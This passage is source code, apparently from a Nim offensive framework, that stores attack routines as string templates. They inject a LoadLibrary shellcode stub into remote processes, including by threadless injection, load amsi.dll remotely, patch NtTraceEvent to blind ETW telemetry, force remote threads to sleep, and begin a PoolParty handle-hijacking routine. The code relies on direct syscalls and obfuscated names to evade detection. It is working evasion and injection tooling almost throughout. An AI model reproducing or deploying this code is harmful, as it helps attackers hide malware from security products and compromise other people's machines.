addr oldProtect)
|
|
|
|
when defined(DInvoke):
|
|
var pfnThreadRtn: LPTHREAD_START_ROUTINE = cast[LPTHREAD_START_ROUTINE](MyGetProcAddress(MyGetModuleHandleA(obf("Kernel32.dll")), obf("LoadLibraryA")))
|
|
else:
|
|
var pfnThreadRtn: LPTHREAD_START_ROUTINE = cast[LPTHREAD_START_ROUTINE](GetProcAddress(GetModuleHandleA(obf("Kernel32.dll")), obf("LoadLibraryA")))
|
|
|
|
|
|
when defined(threadless):
|
|
|
|
# Create a new thread starting at LoadLibraryW with the DLL name buffer address as parameter
|
|
# This will execute LoadLibraryW(L"DLLName") in the remote process
|
|
|
|
var loadLibraryStk: array[32, byte] = [byte 0x55, # PUSH RBP
|
|
0x48, 0x89, 0xE5, # MOV RBP, RSP
|
|
0x48, 0x83, 0xEC, 0x30, # SUB RSP, 0x30 : space needed for LoadLibrary to not fuck the stack
|
|
0x48, 0xB9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # MOV RCX, 0x0000000000000000 -> module name
|
|
0x48, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # MOV RAX, 0x0000000000000000 -> loadLibraryW address
|
|
0xFF, 0xD0, # CALL RAX
|
|
0xC9, # LEAVE
|
|
0xC3
|
|
]
|
|
|
|
moveMemory(unsafeAddr loadLibraryStk[10], &ds, sizeof(DWORD64))
|
|
moveMemory(unsafeAddr loadLibraryStk[20], &pfnThreadRtn, sizeof(DWORD64))
|
|
|
|
var loadLibraryAddress : PVOID = nil
|
|
var pageSize: SIZE_T = 32 * sizeof(BYTE)
|
|
var szOutput: SIZE_T
|
|
|
|
when defined(Hellsgate):
|
|
if getSyscall(ntAllocTable):
|
|
syscall = ntAllocTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for NtAllocateVirtualMemory")
|
|
|
|
ntcode = NtAllocateVirtualMemory(tProcess, &loadLibraryAddress, 0, &pageSize, MEM_COMMIT, PAGE_READWRITE)
|
|
if (ntcode == 0):
|
|
when defined(verbose):
|
|
echo "[+] Allocate memory for loadLibrary Shellcode success"
|
|
|
|
when defined(logFile):
|
|
logVerbose(obf("[*] NtAllocateVirtualMemory for LoadLibrary: ")& cast[string](toHex(ntcode))& " " & cast[string](repr(loadLibraryAddress)) & "\r\n")
|
|
|
|
|
|
when defined(Hellsgate):
|
|
if getSyscall(ntWriteTable):
|
|
syscall = ntWriteTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for NtWriteVirtualMemory")
|
|
var addresstoWrite: PVOID = loadLibraryAddress
|
|
pageSize = 32 * sizeof(BYTE)
|
|
ntcode = NtWriteVirtualMemory(tProcess, addresstoWrite, unsafeAddr loadLibraryStk[0], pageSize, &szOutput)
|
|
if (ntcode == 0):
|
|
when defined(verbose):
|
|
echo "[+] Write Shellcode success"
|
|
|
|
when defined(logFile):
|
|
logVerbose(obf("[*] NtWriteVirtualMemory for LoadLibrary: ")& cast[string](toHex(ntcode))& " " & cast[string](toHex(szOutput)) & "\r\n")
|
|
|
|
when defined(Hellsgate):
|
|
if getSyscall(ntProtectTable):
|
|
syscall = ntProtectTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for NtProtectVirtualMemory")
|
|
|
|
var protectionRXAddress: PVOID = loadLibraryAddress
|
|
ntcode = NtProtectVirtualMemory(tProcess, &protectionRXAddress, &pageSize, PAGE_EXECUTE_READ, cast[PDWORD](&szOutput))
|
|
if (ntcode == 0):
|
|
when defined(verbose):
|
|
echo "[+] Re-Protected to RX success"
|
|
when defined(verbose):
|
|
echo "[+] LoadLibraryW shellcode written at : ", repr(protectionRXAddress)
|
|
|
|
when defined(logFile):
|
|
logVerbose(obf("[*] NtProtectVirtualMemory for LoadLibrary: ")& cast[string](toHex(ntcode))& " " & cast[string](toHex(szOutput)) & "\r\n")
|
|
|
|
var threadlessRoutine: LPVOID = nil
|
|
if (threadlessDLL == obf("ntdll.dll")):
|
|
# get module from local proc and GetProcAddress for the function afterwards as its the same
|
|
var remoteModHandle: HMODULE = GetModuleHandle(threadlessDLL)
|
|
|
|
if (remoteModHandle == 0):
|
|
when defined(verbose):
|
|
echo "[-] Cannot retrieve module"
|
|
when defined(logFile):
|
|
logVerbose(obf("[-] Cannot retrieve module") & "\r\n")
|
|
return false
|
|
|
|
threadlessRoutine = cast[LPVOID](GetProcAddress(remoteModHandle, threadlessFunction))
|
|
if(threadlessRoutine == nil):
|
|
when defined(verbose):
|
|
echo "[-] Cannot retrieve function"
|
|
when defined(logFile):
|
|
logVerbose(obf("[-] Cannot retrieve function") & "\r\n")
|
|
return false
|
|
else:
|
|
|
|
var remoteModHandle: HMODULE = GetRemoteModuleHandle(tProcess, threadlessDLL)
|
|
if (remoteModHandle == 0):
|
|
when defined(verbose):
|
|
echo "[-] Cannot retrieve module"
|
|
when defined(logFile):
|
|
logVerbose(obf("[-] Cannot retrieve module") & "\r\n")
|
|
return false
|
|
|
|
threadlessRoutine = cast[LPVOID](GetRemoteProcAddress(tProcess, remoteModHandle, threadlessFunction))
|
|
when defined(verbose):
|
|
echo "[*] Threadless routine: ", repr(threadlessRoutine)
|
|
|
|
when defined(logFile):
|
|
logVerbose(obf("[*] Starting ThreadlessInject") & "\r\n")
|
|
var threadSuccess = threadlessThread(tProcess, loadLibraryAddress, threadlessRoutine)
|
|
when defined(verbose):
|
|
echo "Threadless inject success: ", threadSuccess
|
|
when defined(logFile):
|
|
logVerbose(obf("[*] ThreadlessInject success: ") & cast[string](toHex(threadSuccess)) & "\r\n")
|
|
|
|
|
|
status = NtFreeVirtualMemory(tProcess, &loadLibraryAddress, &pageSize, MEM_RELEASE)
|
|
if (status == 0):
|
|
when defined(verbose):
|
|
echo "[+] Free memory success"
|
|
else:
|
|
when defined(verbose):
|
|
echo "[-] Free memory failed"
|
|
Sleep(500)
|
|
return threadSuccess
|
|
else:
|
|
|
|
when defined(Hellsgate):
|
|
if getSyscall(ntCreateTable):
|
|
syscall = ntCreateTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for NtCreateThreadEx")
|
|
|
|
status = NtCreateThreadEx(
|
|
&tHandle,
|
|
THREAD_ALL_ACCESS,
|
|
NULL,
|
|
tProcess,
|
|
pfnThreadRtn,
|
|
ds, FALSE, 0, 0, 0, NULL)
|
|
when defined(verbose):
|
|
echo obf("[*] NtCreateThreadEx: "), toHex(status)
|
|
#status = NtClose(tHandle)
|
|
Sleep(500)
|
|
if(status == 0):
|
|
return true
|
|
else:
|
|
return false
|
|
|
|
"""
|
|
|
|
let RemoteLoadAMSIStub* = """
|
|
|
|
proc remoteLoadAmsi(processID: var DWORD): bool =
|
|
|
|
|
|
# C:\windows\system32\amsi.dll
|
|
var friendlycode: array[28, char] = [char(0x43), char(0x3A), char(0x5C), char(0x77), char(0x69), char(0x6E), char(0x64),
|
|
char(0x6F), char(0x77), char(0x73), char(0x5C), char(0x73), char(0x79), char(0x73), char(0x74), char(0x65), char(0x6D),
|
|
char(0x33), char(0x32), char(0x5C), char(0x61), char(0x6D), char(0x73), char(0x69),char(0x2E), char(0x64), char(0x6C), char(0x6C)]
|
|
|
|
when defined(verbose):
|
|
echo obf("[*] Loading amsi.dll in the remote process: "), processID
|
|
var cid: CLIENT_ID
|
|
var oa: OBJECT_ATTRIBUTES
|
|
when not defined(spawninject):
|
|
var tProcess: HANDLE
|
|
var tHandle: HANDLE
|
|
var ds: LPVOID
|
|
var status: NTSTATUS
|
|
var sc_size: SIZE_T = cast[SIZE_T](friendlycode.len)
|
|
|
|
cid.UniqueProcess = processID
|
|
|
|
when defined(SysWhispers):
|
|
when not defined(spawninject):
|
|
status = opqiwepoausdasdjl(&tProcess,PROCESS_QUERY_INFORMATION,&oa, &cid)
|
|
|
|
when defined(verbose):
|
|
echo obf("[*] NtOpenProcess: "), toHex(status)
|
|
|
|
# duplicate to get PROCESS_ALL_ACCESS
|
|
var high: HANDLE
|
|
let workedfine = DuplicateHandle(
|
|
-1,
|
|
tProcess,
|
|
-1,
|
|
&high,
|
|
PROCESS_ALL_ACCESS,
|
|
FALSE,
|
|
0
|
|
)
|
|
when defined(verbose):
|
|
echo obf("[*] DuplicateHandle: "), toHex(workedfine)
|
|
tProcess = high
|
|
|
|
|
|
status = oqiahsjynmxkla(tProcess, &ds, 0, &sc_size,MEM_COMMIT,PAGE_EXECUTE_READWRITE)
|
|
when defined(verbose):
|
|
echo obf("[*] NtAllocateVirtualMemory: "), toHex(status), " ", toHex(ds)
|
|
var bytesWritten: SIZE_T
|
|
|
|
status = oqiazasusjk(tProcess,ds,unsafeAddr friendlycode,sc_size-1,addr bytesWritten)
|
|
|
|
when defined(verbose):
|
|
echo obf("[*] NtWriteVirtualMemory: "), toHex(status)
|
|
echo obf(" \\-- bytes written: "), bytesWritten
|
|
echo obf("")
|
|
|
|
var pfnThreadRtn: LPTHREAD_START_ROUTINE = cast[LPTHREAD_START_ROUTINE](GetProcAddress(GetModuleHandle(obf("Kernel32.dll")), obf("LoadLibraryA")));
|
|
status = zuq8aztsdztausdgbh(&tHandle,THREAD_ALL_ACCESS,NULL,tProcess,pfnThreadRtn,ds, FALSE, 0, 0, 0, NULL)
|
|
status = zuatzuastdiasyy(tHandle)
|
|
if(status == 0):
|
|
return true
|
|
else:
|
|
return false
|
|
else:
|
|
|
|
when defined(Hellsgate):
|
|
if getSyscall(ntOpenTable):
|
|
syscall = ntOpenTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for NtOpenProcess")
|
|
|
|
when not defined(spawninject):
|
|
status = NtOpenProcess(&tProcess,PROCESS_QUERY_INFORMATION,&oa, &cid)
|
|
when defined(verbose):
|
|
echo obf("[*] NtOpenProcess: "), toHex(status)
|
|
|
|
# duplicate to get PROCESS_ALL_ACCESS
|
|
when defined(Hellsgate):
|
|
if getSyscall(ntDuplicateTable):
|
|
syscall = ntDuplicateTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for NtDuplicateObject")
|
|
var high: HANDLE
|
|
status = NtDuplicateObject(
|
|
-1,
|
|
tProcess,
|
|
-1,
|
|
&high,
|
|
PROCESS_ALL_ACCESS,
|
|
FALSE,
|
|
0
|
|
)
|
|
when defined(verbose):
|
|
echo obf("[*] NtDuplicateObject: "), toHex(status)
|
|
tProcess = high
|
|
|
|
|
|
when defined(Hellsgate):
|
|
if getSyscall(ntAllocTable):
|
|
syscall = ntAllocTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for NtAllocateVirtualMemory")
|
|
|
|
status = NtAllocateVirtualMemory(
|
|
tProcess, &ds, 0, &sc_size,
|
|
MEM_COMMIT,
|
|
PAGE_READWRITE)
|
|
when defined(verbose):
|
|
echo obf("[*] NtAllocateVirtualMemory: "), toHex(status), " ", toHex(ds)
|
|
var bytesWritten: SIZE_T
|
|
|
|
when defined(Hellsgate):
|
|
if getSyscall(ntWriteTable):
|
|
syscall = ntWriteTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for NtWriteVirtualMemory")
|
|
|
|
status = NtWriteVirtualMemory(
|
|
tProcess,
|
|
ds,
|
|
unsafeAddr friendlycode,
|
|
sc_size-1,
|
|
addr bytesWritten)
|
|
|
|
when defined(verbose):
|
|
echo obf("[*] NtWriteVirtualMemory: "), toHex(status)
|
|
when defined(verbose):
|
|
echo obf(" \\-- bytes written: "), bytesWritten
|
|
echo obf("")
|
|
|
|
when defined(verbose):
|
|
echo obf("[*] Going to clean local memory of decrypted shellcode")
|
|
# ptrDecText has to be overwritten with 0 for friendlycode.len bytes
|
|
var zeroSeq: seq[byte] = newSeq[byte](friendlycode.len)
|
|
moveMemory(ptrDecText, addr zeroSeq[0], friendlycode.len)
|
|
when defined(verbose):
|
|
echo obf("[*] Done.")
|
|
|
|
when defined(Hellsgate):
|
|
if getSyscall(ntProtectTable):
|
|
syscall = ntProtectTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for NtProtectVirtualMemory")
|
|
|
|
var oldProtect: DWORD
|
|
var targetAddress: LPVOID = ds
|
|
status = NtProtectVirtualMemory(
|
|
tProcess,
|
|
addr targetAddress,
|
|
&sc_size,
|
|
PAGE_READONLY,
|
|
addr oldProtect)
|
|
|
|
when defined(DInvoke):
|
|
var pfnThreadRtn: LPTHREAD_START_ROUTINE = cast[LPTHREAD_START_ROUTINE](MyGetProcAddress(MyGetModuleHandleA(obf("Kernel32.dll")), obf("LoadLibraryA")))
|
|
else:
|
|
var pfnThreadRtn: LPTHREAD_START_ROUTINE = cast[LPTHREAD_START_ROUTINE](GetProcAddress(GetModuleHandleA(obf("Kernel32.dll")), obf("LoadLibraryA")))
|
|
|
|
when defined(Hellsgate):
|
|
if getSyscall(ntCreateTable):
|
|
syscall = ntCreateTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for NtCreateThreadEx")
|
|
|
|
status = NtCreateThreadEx(
|
|
&tHandle,
|
|
THREAD_ALL_ACCESS,
|
|
NULL,
|
|
tProcess,
|
|
pfnThreadRtn,
|
|
ds, FALSE, 0, 0, 0, NULL)
|
|
when defined(verbose):
|
|
echo obf("[*] NtCreateThreadEx: "), toHex(status)
|
|
status = NtClose(tHandle)
|
|
|
|
if(status == 0):
|
|
return true
|
|
else:
|
|
return false
|
|
|
|
|
|
"""
|
|
|
|
|
|
|
|
let RemotePatchETWStub* = """
|
|
|
|
|
|
proc RemotePatchETW(hProcss :HANDLE): bool =
|
|
|
|
when defined amd64:
|
|
let patch: array[1, byte] = [byte 0x74] # Credit to @MrUn1k0d3r - https://players.brightcove.net/3755095886001/default_default/index.html?videoId=6308564004112
|
|
elif defined i386:
|
|
let patch: array[1, byte] = [byte 0x74] # Credit to @MrUn1k0d3r - https://players.brightcove.net/3755095886001/default_default/index.html?videoId=6308564004112
|
|
|
|
|
|
var disabled: bool = false
|
|
|
|
# local process and remote process ntdll.dll addresses are equal.
|
|
when defined(DInvoke):
|
|
var ntdlldll = MyGetModuleHandleA(obf("ntdll.dll"))
|
|
else:
|
|
var ntdlldll = GetModuleHandleA(obf("ntdll.dll"))
|
|
|
|
when defined(DInvoke):
|
|
var RemoteProc = MyGetProcAddress(ntdlldll, obf("NtTraceEvent"))
|
|
else:
|
|
var RemoteProc = GetProcAddress(ntdlldll,"NtTraceEvent")
|
|
if isNil(RemoteProc):
|
|
when defined(verbose):
|
|
echo obf("[X] Failed to get the address of 'NtTraceEvent'")
|
|
|
|
|
|
var oldProtection: DWORD = 0
|
|
var success: BOOL
|
|
var protectAddress = RemoteProc
|
|
|
|
var friendlycodeLength = cast[SIZE_T](patch.len)
|
|
var t: ULONG
|
|
var op: ULONG
|
|
var
|
|
status : NTSTATUS = 0x00000000
|
|
buffer : LPVOID
|
|
|
|
when defined(SysWhispers):
|
|
status = uashdiasdj(hProcss, addr protectAddress,addr friendlycodeLength,0x04,addr t)
|
|
|
|
if not NT_SUCCESS(status):
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to allocate memory.")
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[*] Applying Syscall ETW patch")
|
|
|
|
var bytesWritten: SIZE_T
|
|
|
|
var outLength: SIZE_T
|
|
status = oqiazasusjk(hProcss,RemoteProc,unsafeAddr patch,patch.len,addr outLength)
|
|
|
|
if not NT_SUCCESS(status):
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to write memory.")
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[+] NtWriteVirtualMemory Succeed!")
|
|
|
|
status = uashdiasdj(hProcss,addr protectAddress,addr friendlycodeLength,cast[ULONG](t),addr op)
|
|
|
|
if not NT_SUCCESS(status):
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to allocate memory.")
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[+] OldProtect set back")
|
|
disabled = true
|
|
return disabled
|
|
|
|
else:
|
|
|
|
when defined(Hellsgate):
|
|
if getSyscall(ntProtectTable):
|
|
syscall = ntProtectTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for NtProtectVirtualMemory")
|
|
|
|
status = NtProtectVirtualMemory(hProcss, addr protectAddress,addr friendlycodeLength,0x04,addr t)
|
|
|
|
if not NT_SUCCESS(status):
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to allocate memory.")
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[*] Applying Syscall ETW patch")
|
|
|
|
|
|
var bytesWritten: SIZE_T
|
|
|
|
when defined(Hellsgate):
|
|
if getSyscall(ntWriteTable):
|
|
syscall = ntWriteTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for NtWriteVirtualMemory")
|
|
|
|
var outLength: SIZE_T
|
|
status = NtWriteVirtualMemory(hProcss,RemoteProc,unsafeAddr patch,patch.len,addr outLength)
|
|
|
|
if not NT_SUCCESS(status):
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to write memory.")
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[+] NtWriteVirtualMemory Succeed!")
|
|
|
|
when defined(Hellsgate):
|
|
if getSyscall(ntProtectTable):
|
|
syscall = ntProtectTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for NtProtectVirtualMemory")
|
|
|
|
status = NtProtectVirtualMemory(hProcss,addr protectAddress,addr friendlycodeLength,cast[ULONG](t),addr op)
|
|
|
|
if not NT_SUCCESS(status):
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to allocate memory.")
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[+] OldProtect set back")
|
|
disabled = true
|
|
return disabled
|
|
|
|
when isMainModule:
|
|
var cid: CLIENT_ID
|
|
when not defined(spawninject):
|
|
var hProcssetw: HANDLE
|
|
var hProcHighPriv: HANDLE
|
|
var status: NTSTATUS
|
|
cid.UniqueProcess = remoteProcID
|
|
var oa: OBJECT_ATTRIBUTES
|
|
when defined(SysWhispers):
|
|
when not defined(spawninject):
|
|
status = opqiwepoausdasdjl(&hProcss,PROCESS_QUERY_INFORMATION,&oa, &cid)
|
|
|
|
# now use DuplicateHandle to elevate this to PROCESS_ALL_ACCESS
|
|
DuplicateHandle(-1, hProcss, -1, &hProcHighPriv, PROCESS_ALL_ACCESS, FALSE, 0)
|
|
when defined(verbose):
|
|
echo obf("[*] DuplicateHandle: "), toHex(status)
|
|
else:
|
|
when defined(Hellsgate):
|
|
if getSyscall(ntOpenTable):
|
|
syscall = ntOpenTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for NtOpenProcess")
|
|
|
|
when not defined(spawninject):
|
|
status = NtOpenProcess(
|
|
&hProcssetw,
|
|
PROCESS_QUERY_INFORMATION,
|
|
&oa, &cid
|
|
)
|
|
when defined(verbose):
|
|
echo obf("[*] NtOpenProcess: "), toHex(status)
|
|
|
|
# now use DuplicateHandle to elevate this to PROCESS_ALL_ACCESS
|
|
when defined(Hellsgate):
|
|
if getSyscall(ntDuplicateTable):
|
|
syscall = ntDuplicateTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for NtDuplicateObject")
|
|
status = NtDuplicateObject(-1, hProcssetw, -1, &hProcHighPriv, PROCESS_ALL_ACCESS, FALSE, 0)
|
|
when defined(verbose):
|
|
echo obf("[*] NtDuplicateObject: "), toHex(status)
|
|
|
|
when not defined(spawninject):
|
|
var procHandle: HANDLE = hProcHighPriv
|
|
else:
|
|
var procHandle: HANDLE = hProcHighPriv
|
|
|
|
success = RemotePatchETW(procHandle)
|
|
|
|
when defined(verbose):
|
|
echo obf("[*] ETW disabled in the remote process: ") & fmt"{bool(success)}"
|
|
|
|
|
|
"""
|
|
|
|
|
|
let RemoteLoadNTDLLStub* = """
|
|
|
|
# Ntdll.dll is always loaded, this made no sense
|
|
|
|
"""
|
|
|
|
|
|
let RemoteForceSleepStub* = """
|
|
|
|
proc remoteForceSleep(targetProcess: HANDLE): HANDLE =
|
|
|
|
|
|
# A long Sleep time, so that for any sleep-in-between time, the thread will still be in an alertable state
|
|
var friendlycode: array[3, char] = [char(0xFF), char(0xFF), char(0xFF)]
|
|
|
|
when defined(verbose):
|
|
echo obf("[*] Forcing Sleep for alertable state thread in the remote process: "), targetProcess
|
|
var tHandle: HANDLE
|
|
var ds: LPVOID
|
|
var status: NTSTATUS
|
|
var sc_size: SIZE_T = cast[SIZE_T](friendlycode.len)
|
|
|
|
|
|
when defined(SysWhispers):
|
|
status = oqiahsjynmxkla(targetProcess, &ds, 0, &sc_size,MEM_COMMIT,PAGE_EXECUTE_READWRITE)
|
|
when defined(verbose):
|
|
echo obf("[*] NtAllocateVirtualMemory: "), toHex(status), " ", toHex(ds)
|
|
var bytesWritten: SIZE_T
|
|
|
|
status = oqiazasusjk(targetProcess,ds,unsafeAddr friendlycode,sc_size-1,addr bytesWritten)
|
|
|
|
when defined(verbose):
|
|
echo obf("[*] NtWriteVirtualMemory: "), toHex(status)
|
|
echo obf(" \\-- bytes written: "), bytesWritten
|
|
echo obf("")
|
|
|
|
var pfnThreadRtn: LPTHREAD_START_ROUTINE = cast[LPTHREAD_START_ROUTINE](GetProcAddress(GetModuleHandle(obf("kernel32.dll")), obf("SleepEx")));
|
|
status = zuq8aztsdztausdgbh(&tHandle,THREAD_ALL_ACCESS,NULL,targetProcess,pfnThreadRtn,ds, FALSE, 0, 0, 0, NULL)
|
|
|
|
if(status == 0):
|
|
return tHandle
|
|
else:
|
|
return 0
|
|
else:
|
|
when defined(Hellsgate):
|
|
if getSyscall(ntAllocTable):
|
|
syscall = ntAllocTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for NtAllocateVirtualMemory")
|
|
|
|
status = NtAllocateVirtualMemory(
|
|
targetProcess, &ds, 0, &sc_size,
|
|
MEM_COMMIT,
|
|
PAGE_READWRITE)
|
|
when defined(verbose):
|
|
echo obf("[*] NtAllocateVirtualMemory: "), toHex(status), " ", toHex(ds)
|
|
var bytesWritten: SIZE_T
|
|
|
|
when defined(Hellsgate):
|
|
if getSyscall(ntWriteTable):
|
|
syscall = ntWriteTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for NtWriteVirtualMemory")
|
|
|
|
status = NtWriteVirtualMemory(
|
|
targetProcess,
|
|
ds,
|
|
unsafeAddr friendlycode,
|
|
sc_size-1,
|
|
addr bytesWritten)
|
|
|
|
when defined(verbose):
|
|
echo obf("[*] NtWriteVirtualMemory: "), toHex(status)
|
|
echo obf(" \\-- bytes written: "), bytesWritten
|
|
echo obf("")
|
|
|
|
when defined(verbose):
|
|
echo obf("[*] Going to clean local memory of decrypted shellcode")
|
|
# ptrDecText has to be overwritten with 0 for friendlycode.len bytes
|
|
var zeroSeq: seq[byte] = newSeq[byte](friendlycode.len)
|
|
moveMemory(ptrDecText, addr zeroSeq[0], friendlycode.len)
|
|
when defined(verbose):
|
|
echo obf("[*] Done.")
|
|
|
|
when defined(Hellsgate):
|
|
if getSyscall(ntProtectTable):
|
|
syscall = ntProtectTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for NtProtectVirtualMemory")
|
|
|
|
var oldProtect: DWORD
|
|
var targetAddress: LPVOID = ds
|
|
status = NtProtectVirtualMemory(
|
|
targetProcess,
|
|
addr targetAddress,
|
|
&sc_size,
|
|
PAGE_READONLY,
|
|
addr oldProtect)
|
|
|
|
when defined(verbose):
|
|
echo obf("[*] NtProtectVirtualMemory: "), toHex(status)
|
|
|
|
when defined(DInvoke):
|
|
var pfnThreadRtn: LPTHREAD_START_ROUTINE = cast[LPTHREAD_START_ROUTINE](MyGetProcAddress(MyGetModuleHandleA(obf("kernel32.dll")), obf("SleepEx")))
|
|
else:
|
|
var pfnThreadRtn: LPTHREAD_START_ROUTINE = cast[LPTHREAD_START_ROUTINE](GetProcAddress(GetModuleHandleA(obf("kernel32.dll")), obf("SleepEx")))
|
|
|
|
when defined(Hellsgate):
|
|
if getSyscall(ntCreateTable):
|
|
syscall = ntCreateTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for NtCreateThreadEx")
|
|
|
|
status = NtCreateThreadEx(
|
|
&tHandle,
|
|
THREAD_ALL_ACCESS,
|
|
NULL,
|
|
targetProcess,
|
|
pfnThreadRtn,
|
|
ds, FALSE, 0, 0, 0, NULL)
|
|
when defined(verbose):
|
|
echo obf("[*] NtCreateThreadEx: "), toHex(status)
|
|
#status = NtClose(tHandle)
|
|
|
|
if(status == 0):
|
|
return tHandle
|
|
else:
|
|
return 0
|
|
|
|
|
|
"""
|
|
|
|
let PoolpartyExecute* = """
|
|
|
|
proc ExecutePoolparty(pHandle: HANDLE,startPointer: LPVOID) =
|
|
|
|
|
|
proc NtQueryObjectWrap(x: HANDLE, y: OBJECT_INFORMATION_CLASS): ptr BYTE =
|
|
var InformationLength: ULONG = 0
|
|
var Ntstatus: NTSTATUS = STATUS_INFO_LENGTH_MISMATCH
|
|
# Information is a byte sequence with the length of y
|
|
var oinfoBuffer = VirtualAlloc(NULL, sizeof(OBJECT_TYPE_INFORMATION), MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE)
|
|
Ntstatus = NtQueryObject(x, y, oinfoBuffer, InformationLength, addr InformationLength)
|
|
if (Ntstatus == 0):
|
|
#echo obf("[+] NtQueryObject success")
|
|
Sleep(100)
|
|
return cast[ptr BYTE](oinfoBuffer)
|
|
while Ntstatus == STATUS_INFO_LENGTH_MISMATCH:
|
|
#Information = cast[PBYTE](MSVCRT$realloc(Information, InformationLength))
|
|
#echo "NTQuery Length mismatch"
|
|
VirtualFree(oinfoBuffer, 0, MEM_RELEASE)
|
|
oinfoBuffer = VirtualAlloc(NULL, InformationLength, MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE)
|
|
#Information = cast[ptr BYTE](realloc(Information, InformationLength))
|
|
#var Information2: seq[byte] = newSeq[byte](InformationLength)
|
|
#echo "REalloc done"
|
|
Ntstatus = NtQueryObject(x, y, oinfoBuffer, InformationLength, addr InformationLength)
|
|
#echo "status: ", toHex(Ntstatus)
|
|
if(Ntstatus == 0):
|
|
Sleep(100)
|
|
|
|
return cast[ptr BYTE](oinfoBuffer)
|
|
|
|
proc HijackProcessHandle(wsObjectType: PWSTR, p_hTarget: HANDLE, dwDesiredAccess: DWORD): HANDLE =
|
|
var Information: PBYTE = nil
|
|
var lhInfo: PROCESS_HANDLE_SNAPSHOT_INFORMATION
|
|
var phInfo: PPROCESS_HANDLE_SNAPSHOT_INFORMATION = addr lhInfo
|
|
var QueryBuffer = VirtualAlloc(NULL, sizeof(PROCESS_HANDLE_SNAPSHOT_INFORMATION), MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE)
|
|
var size: ULONG = cast[ULONG](sizeof(PROCESS_HANDLE_SNAPSHOT_INFORMATION))
|
|
var InformationLength: ULONG = 0
|
|
var Ntstatus: NTSTATUS = STATUS_INFO_LENGTH_MISMATCH
|
|
Sleep(100)
|
|
Ntstatus = NtQueryInformationProcess(p_hTarget, PROCESS_INFORMATION_CLASS(ProcessHandleInformation), QueryBuffer, size, addr InformationLength)
|
|
# if fail, retry with new InformationLength
|
|
var test: int = 0
|
|
while (Ntstatus == STATUS_INFO_LENGTH_MISMATCH):
|
|
Sleep(100)
|
|
VirtualFree(QueryBuffer, 0, MEM_RELEASE)
|
|
QueryBuffer = VirtualAlloc(NULL, cast[SIZE_T](InformationLength), MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE)
|
|
size = InformationLength
|
|
#var lhInfo2: PROCESS_HANDLE_SNAPSHOT_INFORMATION
|
|
#var phInfo2: PPROCESS_HANDLE_SNAPSHOT_INFORMATION = addr lhInfo2
|
|
#Information = cast[PBYTE](realloc(Information, InformationLength))
|
|
#var InformationLength2: ULONG = 0
|
|
Ntstatus = NtQueryInformationProcess(p_hTarget, PROCESS_INFORMATION_CLASS(ProcessHandleInformation), QueryBuffer, size, addr InformationLength)
|
|
if Ntstatus == 0:
|
|
phInfo = cast[PPROCESS_HANDLE_SNAPSHOT_INFORMATION](QueryBuffer)
|
|
test += 1
|
|
if test > 10:
|
|
break
|
|
|
|
if Ntstatus != 0:
|
|
when defined(verbose):
|
|
echo obf("[-] Still Failed")
|
|
echo toHex(Ntstatus)
|
|
return 0
|
|
|
|
var pProcessHandleInformation: PPROCESS_HANDLE_SNAPSHOT_INFORMATION = cast[PPROCESS_HANDLE_SNAPSHOT_INFORMATION](phInfo)
|
|
var p_hDuplicatedObject: HANDLE
|
|
|
|
Sleep(100)
|
|
for i in 0 ..< pProcessHandleInformation.NumberOfHandles:
|
|
|
|
var uncheckedArray: ptr UncheckedArray[PROCESS_HANDLE_TABLE_ENTRY_INFO] = cast[ptr UncheckedArray[PROCESS_HANDLE_TABLE_ENTRY_INFO]](addr pProcessHandleInformation.Handles[0])
|
|
# use it via uncheckedArray[i].HandleValue
|
|
|
|
var success: BOOL = DuplicateHandle(
|
|
p_hTarget,
|
|
cast[HANDLE](uncheckedArray[i].HandleValue),#pProcessHandleInformation.Handles[i].HandleValue), #tableEntrynoPointer.HandleValue#),
|
|
GetCurrentProcess(),
|
|
addr p_hDuplicatedObject,
|
|
dwDesiredAccess,
|
|
FALSE,
|
|
